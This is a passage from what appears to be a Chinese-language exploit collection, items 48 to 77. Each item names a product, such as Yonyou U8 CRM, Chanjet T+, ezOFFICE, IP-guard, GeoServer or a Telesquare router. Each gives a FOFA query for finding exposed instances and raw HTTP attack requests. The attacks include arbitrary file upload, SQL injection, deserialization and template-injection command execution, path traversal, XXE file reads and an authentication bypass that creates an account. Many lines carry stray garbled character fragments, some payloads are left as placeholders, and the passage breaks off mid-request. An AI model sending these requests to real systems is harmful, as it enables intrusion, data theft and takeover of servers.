Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
) P3 b8 s- g  ?& cAccept-Encoding: gzip, deflate, br
0 Y5 b5 G- H) W1 S3 u, [- nAccept-Language: zh-CN,zh;q=0.9
$ T+ R6 [1 N- m. LIf-Modified-Since: Wed, 11 Oct 2023 05:16:05 GMT
) u- ?+ a; G: i6 [Connection: close
4 S& {0 o: R: l7 b3 x
1 [9 B. P# K. y8 N6 T2 m. `; y
4 X' p1 r2 o' Z% U% |: q
. ~  X. y  R5 c' v9 S: {48. 用友U8 CRM swfupload 任意文件上传
7 N" B% W4 [- n8 \/ FFOFA：title="用友U8CRM"
% k$ G' f% M& f; B9 Q5 d' ^POST /ajax/swfupload.php?DontCheckLogin=1&vname=file HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
, B, m7 Z4 V' J( Z. aAccept-Encoding: gzip, deflate
Content-Type: multipart/form-data;boundary=----269520967239406871642430066855
------269520967239406871642430066855
) s3 P1 U- J3 D1 BContent-Disposition: form-data; name="file"; filename="s.php"
% a  q) }2 M- \( f, X1231
Content-Type: application/octet-stream
------269520967239406871642430066855
Content-Disposition: form-data; name="upload"
upload
------269520967239406871642430066855--


49. 用友U8 CRM系统uploadfile.php接口任意文件上传
3 e/ J) D' b1 y, O1 i4 {$ jFOFA：body="用友U8CRM"

POST /ajax/uploadfile.php?DontCheckLogin=1&vname=file HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
8 r+ z' s5 J7 xContent-Length: 329
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
% ]- O0 R5 a1 H5 ]/ I" tAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
: k, h6 z4 G1 ?Connection: close
Content-Type: multipart/form-data; boundary=---------------------------vvv3wdayqv3yppdxvn3w
! f7 l4 I8 c  E  ~4 ^
-----------------------------vvv3wdayqv3yppdxvn3w
) q0 H4 ^8 y4 z" sContent-Disposition: form-data; name="file"; filename="%s.php "
) @7 l+ X0 ?, V( L" GContent-Type: application/octet-stream

wersqqmlumloqa
: b1 I+ m# T( y-----------------------------vvv3wdayqv3yppdxvn3w
Content-Disposition: form-data; name="upload"
+ W2 s$ P+ d9 C2 A* j* _) b
+ Y; |* s! l5 a% W- r5 R% Iupload
/ K" d0 S- S) r-----------------------------vvv3wdayqv3yppdxvn3w--


http://x.x.x.x/tmpfile/updB3CB.tmp.php

, D! S4 O, i2 V; e5 r! ^0 d50. QDocs Smart School 6.4.1 filterRecords SQL注入
FOFA：body="close closebtnmodal"
POST /course/filterRecords/ HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
% p4 B0 i3 a$ F% k0 JConnection: close
3 a; N3 f/ s7 XContent-Length: 224
Accept: */*
' C' Y' Y7 m- C! mAccept-Language: en
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

7 f. [- q! n# nsearchdata[0][title]=&searchdata[0][searchfield]=1&searchdata[0][searchvalue]=1&searchdata[1][title]=1&searchdata[1][searchfield]=1=1 and extractvalue(1,concat(0x5e,(select md5(123456)),0x5e))%23&searchdata[1][searchvalue]=1

' f3 M7 Z8 I. g5 y4 v- J
51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
FOFA：app="云时空社会化商业ERP系统"
2 n, L3 e1 H# g% `3 pGET /sys/user/validateLoginName?loginName=admin'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
# O0 C0 x2 J  P9 fAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
# i' `( b5 S6 @  z+ |6 u2 u
( I: R; S' R/ R/ B! w" j6 i
4 I) t% A% a8 H# A& e7 v52. 泛微E-Office json_common.php sql注入
; l. V  Q. }4 f- f7 X7 g4 ?3 UFOFA：app="泛微-EOffice"
( L5 u* T8 y$ |8 \: a+ J) }8 DPOST /building/json_common.php HTTP/1.1
Host: 192.168.86.128:8097
: h' r2 a4 b8 s8 @/ WUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
Content-Length: 87
. v3 P  |! Q0 `Accept: */*
Accept-Language: en
: ?* E& C- O* l. ?, aContent-Type: application/x-www-form-urlencoded
: f. t# P+ S  TAccept-Encoding: gzip
! N( G" }1 P2 z  T* |) U: i
tfs=city` where cityId =-1 /*!50000union*/ /*!50000select*/1,2,md5(102103122) ,4#|2|333

' [* Y& l: s2 u2 l
53. 迪普 DPTech VPN Service 任意文件上传
/ Y; ~; }1 m0 BFOFA：app="DPtech-SSLVPN"
! r4 U& d0 X7 w/..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
0 x. l5 }! O$ ^, X- L# O. [: W

& }: w+ }$ Y, g* P* H" }1 C54. 畅捷通T+ getstorewarehousebystore 远程代码执行
' E7 }$ z/ P! P  SFOFA：app="畅捷通-TPlus"
第一步，向目标发送数据包，执行命令，将指定字符串写入指定文件
5 ^+ j, O6 B% ?% q"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"

, U$ O. |- Q1 Y
. b2 A  B& k, T/ G- x完整数据包
* O2 N3 `% x2 wPOST /tplus/ajaxpro/Ufida.T.CodeBehind._PriorityLevel,App_Code.ashx?method=GetStoreWarehouseByStore HTTP/1.1
# S- \9 O6 I9 B% D: q+ v; u$ gHost: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/4E423F
Content-Length: 593

{
"storeID":{
7 }# l9 ~! U7 M5 T( Y; \ "__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
"MethodName":"Start",
7 ]9 x% Z% b8 t) B7 I! N$ w+ e1 C" o  "ObjectInstance":{
6 m% [, j* v% N" p2 Z   "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
  j& ~) Z: z& d5 P/ q    "StartInfo":{
   "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
    "FileName":"cmd",
    "Arguments":"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"
, X! ?& D. ~( K: S5 ^- \' a    }
, c8 H  g$ k& ]  }
- Q; x6 d9 l1 }  }
}

" t. D. m3 k. j; K4 C
第二步，访问如下url
1 l$ U3 Z3 u: u/ B$ t7 }2 q/tplus/.2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt
3 {$ ^7 o& t4 ~8 Z8 r5 g! I
% ]' j3 a. J  ^. N& S
55. 畅捷通T+ getdecallusers信息泄露
FOFA：app="畅捷通-TPlus"
+ i9 Q6 z2 v. ~! v- |第一步，通过
/tplus/ajaxpro/Ufida.T.SM.Login.UIP.LoginManager,Ufida.T.SM.Login.UIP.ashx?method=CheckPassword接口获取Cookie
第二步，利用获取到的Cookie请求
: B4 s1 V8 Q* |3 ?3 f" h, a/tplus/sm/privilege/ajaxpro/Ufida.T.SM.UIP.Privilege.PreviligeControl,Ufida.T.SM.UIP.ashx?method=GetDecAllUsers
' K4 v7 ]6 x) _$ b3 M4 m
  R. f' Y5 u0 m; c4 h3 ~5 R56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
) k' X0 }' H( U2 O% k4 gFOFA: app="畅捷通-TPlus"
6 W5 |! ^- Z  m1 PPOST /tplus/ajaxpro/Ufida.T.DI.UIP.RRA.RRATableController,Ufida.T.DI.UIP.ashx?method=GetStoreWarehouseByStore HTTP/1.1
: t9 _2 G& Q& D' k2 q9 fHost: x.x.x.x
# k9 p) u( \. qUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
! r9 N! u0 R% x/ r) q! c9 dContent-Type: application/json

{
+ N) a5 O  q, z' h' ~! ~  "storeID":{
    "__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
   "MethodName":"Start",
    "ObjectInstance":{
       "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
; R1 N, D8 @; R% i! S        "StartInfo": {
, T7 ?' m. o2 J1 U8 |. ?8 o           "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
           "FileName":"cmd", "Arguments":"/c ping 6qevyvmi.dnslog.pw"
       }
2 c' A6 r) X: t# P    }
  }
}


) M# O) D8 b$ }57. 畅捷通T+ keyEdit.aspx SQL注入
* l7 z3 L& p( U' a' O- y/ dFOFA：app="畅捷通-TPlus"
GET /tplus/UFAQD/keyEdit.aspx?KeyID=1%27%20and%201=(select%20@@version)%20--&preload=1 HTTP/1.1
) X+ N  [$ k  r$ QHost: host
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
+ S* H- b" h1 M1 p& ]: n2 hAccept-Encoding: gzip, deflate
Connection: close
* \9 {; T5 H4 f$ N. W1 J# j5 J
. d- {0 I8 l+ o0 B7 p& @
58. 畅捷通T+ KeyInfoList.aspx sql注入
% \; R& |5 ?4 K1 s& j2 `1 BFOFA：app="畅捷通-TPlus"
GET /tplus/UFAQD/KeyInfoList.aspx?preload=1&zt=')AND+1+IN+(SELECT+sys.fn_varbintohexstr(hashbytes('MD5','123456')))--+ HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
Accept-Encoding: gzip, deflate
Connection: close

* b% Y- p7 F0 e/ z
59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
FOFA: title="@XETUX" && title="XPOS" && body="BackEnd"
POST /xc-one-pos/javax.faces.resource/dynamiccontent.properties.xhtml HTTP/1.1
Host: 192.168.86.128:9090
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
Connection: close
Content-Length: 1669
Accept: */*
6 \& y+ n0 s) b7 |$ p+ [7 W' hAccept-Language: en
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
0 b( _- n3 }$ S% x, Q
( ]( r, B) {! m, N4 t+ Y& [+ yPAYLOAD
/ R/ t( D7 Y' t1 H0 l+ B- ]7 E
2 V- P& g2 b# B' r
* N. i3 z+ i  C" A8 T60. 百卓Smart管理平台 importexport.php SQL注入
FOFA：title="Smart管理平台"
GET /importexport.php?sql=c2VsZWN0IDEsdXNlcigpLDM=&type=exportexcelbysql HTTP/1.1
# }6 ~2 m" v' w% Q0 F" |3 Q4 LHost:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

4 y! ~7 I: C- k3 a$ P" H
61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
FOFA: title="欢迎使用浙大恩特客户资源管理系统"
POST /entsoft_en/entereditor/jsp/fileupload.jsp?filename=8uxssX66eqrqtKObcVa0kid98xa.jsp HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
; r8 {: h" z% rContent-Length: 27
/ U$ o; \( f6 l5 m: XAccept: */*
# L: }9 q1 Q4 \6 l1 pAccept-Encoding: gzip, deflate
: s; G( ]+ }2 j7 nAccept-Language: en
- J% x" @) `: fContent-Type: application/x-www-form-urlencoded
/ C; \/ f4 z' A
8uxssX66eqrqtKObcVa0kid98xa
, E/ w" }) D9 T7 v

62. IP-guard WebServer 远程命令执行
3 E3 T( A2 X# a  t4 uFOFA："IP-guard" && icon_hash="2030860561"
GET /ipg/static/appr/lib/flexpaper/php/view.php?doc=11.jpg&format=swf&isSplit=true&page=||echo+"09kdujzKJDLinkQTLfGzMMKDJ23HJ"+>09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
& @/ w, S/ d: q: yHost: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2919.83 Safari/537.36
Connection: close
Accept: */*
' m4 k% l1 |  x+ ~# g2 ZAccept-Language: en
" M+ }, c0 a6 v- f, I6 WAccept-Encoding: gzip
$ ?+ l3 I" }. [% a4 [  Z

$ D3 {$ S  Y5 b. R" U访问
! r+ @& F, U* W
8 p& B7 w0 _, j% pGET /ipg/static/appr/lib/flexpaper/php/09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
2 B! L, J( L% E- `, Y. |Host: x.x.x.x


63. IP-guard WebServer任意文件读取
IP-guard < 4.82.0609.0
FOFA：icon_hash="2030860561"
8 ]" t0 r; a/ t$ `" e* \" YPOST /ipg/appr/MApplyList/downloadFile_client/getdatarecord HTTP/1.1
% ]% H5 ]+ }3 m7 _; o3 wHost: your-ip
+ E6 C+ q% i) R# EUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
9 ]7 o+ c; c2 e& j4 G  qAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
+ [* ?/ `; M  o0 Q3 U2 tAccept-Language: zh-CN,zh;q=0.9
Connection: close
9 ~8 P9 f3 m) D% b" lContent-Type: application/x-www-form-urlencoded

path=..%2Fconfig.ini&filename=1&action=download&hidGuid=1v%0D%0A
% g( R3 b0 P+ m; m( W- {
64. 捷诚管理信息系统CWSFinanceCommon SQL注入
FOFA：body="/Scripts/EnjoyMsg.js"
0 e: X  k$ j% ~, OPOST /EnjoyRMIS_WS/WS/APS/CWSFinanceCommon.asmx HTTP/1.1
; e4 e+ M. ^6 ?5 o  w0 @7 VHost: 192.168.86.128:9001
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36
Connection: close
Content-Length: 369
  Q" Y- K0 s3 A; m9 {2 c& \! vAccept: */*
4 W# n3 R0 `. r3 u  H  uAccept-Language: en
; \1 t, m7 T6 _Content-Type: text/xml; charset=utf-8
) O  I. @. t, [4 F. Q! JAccept-Encoding: gzip
8 e; `' d% W% j# x3 T
! n& h+ K' `# N  E+ f; b+ K8 X<?xml version="1.0" encoding="utf-8"?>
$ g& S& F1 _4 W  i# W8 c+ n<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
0 M6 B1 T8 Q$ y5 {7 M# V; |1 k: V<soap:Body>
, g0 i, ~/ c3 k    <GetOSpById xmlns="http://tempuri.org/">
      <sId>1';waitfor delay '0:0:5'--+</sId>
8 y" ]* n: N5 g6 m/ j- A; Y; z, o    </GetOSpById>
+ q7 c0 x( O3 f, R) z) k4 ^6 _  </soap:Body>
+ Z" Z$ `4 n7 {</soap:Envelope>


+ a9 R4 S: J( o7 B' R, \65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
' M/ W! Z% H0 o" NFOFA：title="欢迎使用脸爱云 一脸通智慧管理平台"
响应200即成功创建账号test123456/123456
. d0 c. S2 v" l3 a0 iPOST /SystemMng.ashx HTTP/1.1
Host:
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Accept-Encoding: gzip, deflate
8 @# Z' X" y1 j3 `' rAccept: */*
, G9 y4 c/ Y/ q7 J3 ?7 _Connection: close
Accept-Language: en
Content-Length: 174

operatorName=test123456&operatorPwd=123456&operpassword=123456&operatorRole=00&visible_jh=%E8%AF%B7%E9%80%89%E6%8B%A9&visible_dorm=%E8%AF%B7%E9%80%89%E6%8B%A9&funcName=addOperators
! D1 q, k# x. \0 G; P* h' M

66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
. v+ A3 j3 F7 x& F0 [4 ~# nFOFA：app="万户ezOFFICE协同管理平台"
( [: {0 Q$ Q( r4 \6 I  A, h/ U5 ^
GET /defaultroot/public/iWebOfficeSign/Template/SendFileCheckTemplateEdit.jsp?RecordID=1'%20UNION%20ALL%20SELECT%20sys.fn_sqlvarbasetostr(HashBytes(%27MD5%27,%27102103122%27))%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL-- HTTP/1.1
# Z. M: P, E/ k- t. S/ K3 l( CHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Connection: close
1 f. T% q7 R+ f" O: wAccept: */*
/ s2 D# \/ n5 MAccept-Language: en
Accept-Encoding: gzip

# c* {  l* l: ~" K! _- [
( T3 ]6 l5 _- Y* ^! V, D第42,43行包含6cfe798ba8e5b85feb50164c59f4bec9字符串证明漏洞存在
9 s! U2 M9 y* h) G, L: T
67. 万户ezOFFICE wpsservlet任意文件上传
. q* r2 T* z& B3 tFOFA：app="万户网络-ezOFFICE"
newdocId和filename参数表示写入文件名称，dir参数表示写入文件的路径，fileType参数表示文件类型
4 l- q' N: u# M/ y. c9 yPOST /defaultroot/wpsservlet?option=saveNewFile&newdocId=apoxkq&dir=../platform/portal/layout/&fileType=.jsp HTTP/1.1
Host: x.x.x.x
* v$ }! n0 l' G% g$ VUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
6 |+ V3 d+ W" n8 ?Content-Length: 173
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
$ K. C4 s8 w9 z3 I( \Accept-Encoding: gzip, deflate
4 a' b9 j: C6 z0 w6 c  w+ r+ Q& R% _Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Connection: close
' O5 Y8 P% a' S/ AContent-Type: multipart/form-data; boundary=ufuadpxathqvxfqnuyuqaozvseiueerp
DNT: 1
+ R1 q- Z  T8 M1 o' VUpgrade-Insecure-Requests: 1

--ufuadpxathqvxfqnuyuqaozvseiueerp
+ j8 u# }! R' N* v0 mContent-Disposition: form-data; name="NewFile"; filename="apoxkq.jsp"

<% out.print("sasdfghjkj");%>
--ufuadpxathqvxfqnuyuqaozvseiueerp--


' Y4 z6 c7 {# |' q! |文件回显路径为/defaultroot/platform/portal/layout/apoxkq.jsp

9 R/ r  ^) r1 {6 J; B68. 万户ezOFFICE wf_printnum.jsp SQL注入
FOFA：app="万户ezOFFICE协同管理平台"
* c* S6 M( v& Q& |GET /defaultroot/platform/bpm/work_flow/operate/wf_printnum.jsp;.js?recordId=1;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
4 |2 p, ]# {! |3 ?3 T% X0 \. PHost: {{host}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36
) I+ v/ _6 ~: E" IAccept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
8 D! Z' N) q& f" D/ G( Q3 zAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
" k3 T* n9 G4 gConnection: close


69. 万户 ezOFFICE contract_gd.jsp SQL注入
FOFA：app="万户ezOFFICE协同管理平台"
GET /defaultroot/modules/subsidiary/contract/contract_gd.jsp;.js?gd=1&gd_startUserCode=1%27%3Bwaitfor%20delay%20%270%3A0%3A5%27-- HTTP/1.1
  \/ d9 I1 k" I* DHost: your-ip
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
1 ]! |; B, s0 O7 I9 i: x! GAccept: */*
Connection: keep-alive
& X. ?5 T& l: q# Q

: {" s8 t- Q1 f7 j& Y$ m70. 万户ezEIP success 命令执行
FOFA：app="万户网络-ezEIP"
  m' I; K* Y; u8 O; q9 V: t& Z0 ^. QPOST /member/success.aspx HTTP/1.1
& j: R( ~  g1 n0 f4 o1 C; w0 L2 FHost: {{Hostname}}
6 p5 p" Z+ K% V; G4 I' ^User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
SID: dHlwZSBDOlxXaW5kb3dzXHdpbi5pbmk=
1 b& H- b" A  t8 L, C5 q7 ^0 zContent-Type: application/x-www-form-urlencoded
0 r" a$ D' M7 u) }% R1 iTYPE: C
Content-Length: 16702
. r5 f5 m6 f) c( D+ x' r4 d8 G
  n$ G' x1 C' B6 b, D) o3 D__VIEWSTATE=PAYLOAD


71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
FOFA：body="PM2项目管理系统BS版增强工具.zip"
GET /Global/Global_UserLogin.aspx?accId=1%27%3BWAITFOR+DELAY+%270%3A0%3A5%27--&loginCode&password&type HTTP/1.1
Host: x.x.x.xx.x.x.x
6 T' |# l7 R& X0 _# x- C" fUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
2 o; n0 \+ ^! d  |7 x$ sConnection: close
4 i& |: h0 w* }3 SAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
4 C* Y+ Z8 r' y/ @4 ^# i" rAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Upgrade-Insecure-Requests: 1


& q+ a2 f; X& Z8 r6 ]6 \72. 致远OA getAjaxDataServlet XXE
FOFA：app="致远互联-OA"
POST /seeyon/m-signature/RunSignature/run/getAjaxDataServlet HTTP/1.1
  x2 }4 A- J5 x+ F! c, a) Y  cHost: 192.168.40.131:8099
, Q' A9 }, V5 S/ LUser-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
( T4 H/ U& r8 y! y& Q& ]5 B- LConnection: close
# j5 L8 b$ o2 o% |- F7 WContent-Length: 583
Content-Type: application/x-www-form-urlencoded
! _0 C. S; R  m! b; x: cAccept-Encoding: gzip
% X. Q% D5 a/ n/ _$ W7 B
S=ajaxColManager&M=colDelLock&imgvalue=lr7V9+0XCEhZ5KUijesavRASMmpz%2FJcFgNqW4G2x63IPfOy%3DYudDQ1bnHT8BLtwokmb%2Fk&signwidth=4.0&signheight=4.0&xmlValue=%3C%3Fxml+version%3D%221.0%22%3F%3E%0D%0A%3C%21DOCTYPE+foo+%5B%0D%0A++%3C%21ELEMENT+foo+ANY+%3E%0D%0A++%3C%21ENTITY+xxe+SYSTEM+%22file%3A%2F%2F%2Fc%3A%2Fwindows%2Fwin.ini%22+%3E%0D%0A%55D%3E%0D%0A%3CSignature%3E%3CField%3E%3Ca+Index%3D%22ProtectItem%22%3Etrue%3C%2Fa%3E%3Cb+Index%3D%22Caption%22%3Ecaption%3C%2Fb%3E%3Cc+Index%3D%22ID%22%3Eid%3C%2Fc%3E%3Cdd+Index%3D%22VALUE%22%3E%26xxe%3B%3C%2Fd%3E%3C%2FField%3E%3C%2FSignature%3E
" P: b/ H! ?' u

73. GeoServer wms远程代码执行
FOFA：icon_hash=”97540678”
( _; A, l" I1 @$ `' O& r, dPOST /geoserver/wms HTTP/1.1
Host:
7 v0 L) q9 A9 L  G6 f/ B( @User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Content-Length: 1981
Accept-Encoding: gzip, deflate
Connection: close
  A) a- T5 \2 ^9 M1 B8 uContent-Type: application/xml
) l5 V: Q4 a5 t' b: B8 [SL-CE-SUID: 3
9 X0 E# J5 t+ K1 D$ t; ?
PAYLOAD
+ U: D8 m* w% G, q- w- w

74. 致远M3-server 6_1sp1 反序列化RCE
9 P8 s( W6 M' J7 Z) D( @FOFA：title="M3-Server"
PAYLOAD

75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
FOFA：app="TELESQUARE-TLR-2005KSH"
GET /cgi-bin/admin.cgi?Command=setSyncTimeHost&time=`ifconfig>test28256.txt` HTTP/1.1
8 u! n/ `, b, g. w% `8 T8 @+ oHost: x.x.x.x
: f, n" p& a$ A8 H. b2 AUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Connection: close
8 w; P0 x, m- }. i5 oAccept: */*
' |2 A5 j  _4 o1 c- G7 }Accept-Language: en
Accept-Encoding: gzip


GET /cgi-bin/test28256.txt HTTP/1.1
. y" {# _& |2 L  n/ n" s+ f6 W4 V3 GHost: x.x.x.x
+ |* ~; {; `9 q" ?- O4 k
+ p1 G1 y1 o; ?4 `: S. t. V
1 M& W* ~8 j) f) ^# D76. 新开普掌上校园服务管理平台service.action远程命令执行
FOFA：title="掌上校园服务管理平台"
POST /service_transport/service.action HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
# O( `! I1 q. C% B- z& F' g; ZConnection: close
# K, R0 e) ?7 O. YContent-Length: 211
0 P! h6 N$ p' a% U9 t; \* M5 bAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
/ ^3 ]; M$ ]) aCookie: JSESSIONID=6A13B163B0FA9A5F8FE53D4153AC13A4
/ f- P, |  x7 s2 R% \: ]  g2 jUpgrade-Insecure-Requests: 1

{
& i# S0 S) m" ?"command": "GetFZinfo",
  "UnitCode": "<#assign ex = \"freemarker.template.utility.Execute\"
  ?new()>${ex(\"cmd /c echo 9d8ajikdujw8ejd9wjdfkfu8 >./webapps/ROOT/9d8ajikdujw8ejd9wjdfkfu8.txt\")}"
}
" l5 s0 H" b) }2 i3 f. c& T

7 ]: m$ k# \& LGET /9d8ajikdujw8ejd9wjdfkfu8.txt HTTP/1.1
: e" s$ [' o' P( [8 O; c: BHost: x.x.x.x
( L0 {4 S9 f5 `) j. j" \

: s# R7 r: X4 H. b9 G$ b& U
0 d4 Q9 u2 x2 P  K77. F22服装管理软件系统UploadHandler.ashx任意文件上传
$ C0 ~0 n6 |1 p2 n5 v1 fFOFA：body="F22WEB登陆"
" _4 O$ B4 M$ C- H; U4 sPOST /CuteSoft_Client/UploadHandler.ashx HTTP/1.1
Host: x.x.x.x
. Q. R  @6 e( U/ e4 W/ t2 w' w4 Y% tUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Connection: close
: @# M' h0 }& r/ }: I9 bContent-Length: 433
Accept: */*
( l5 k1 C8 F+ e; t/ G9 vAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Type: multipart/form-data; boundary=----------398jnjVTTlDVXHlE7yYnfwBoix

+ A2 k, b$ Z& v6 D& u: _------------398jnjVTTlDVXHlE7yYnfwBoix
Content-Disposition: form-data; name="folder"
( I4 W+ ^" B5 I" v
/upload/udplog
